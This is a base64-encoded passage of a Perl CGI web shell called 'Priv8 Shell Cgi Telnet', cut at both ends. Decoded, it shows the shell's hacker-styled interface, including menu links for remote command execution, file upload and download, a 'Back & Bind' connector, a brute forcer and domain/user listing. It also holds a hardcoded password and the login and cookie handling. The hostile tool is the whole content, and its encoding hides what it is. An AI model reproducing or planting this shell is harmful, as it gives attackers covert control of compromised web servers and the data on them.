ZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCB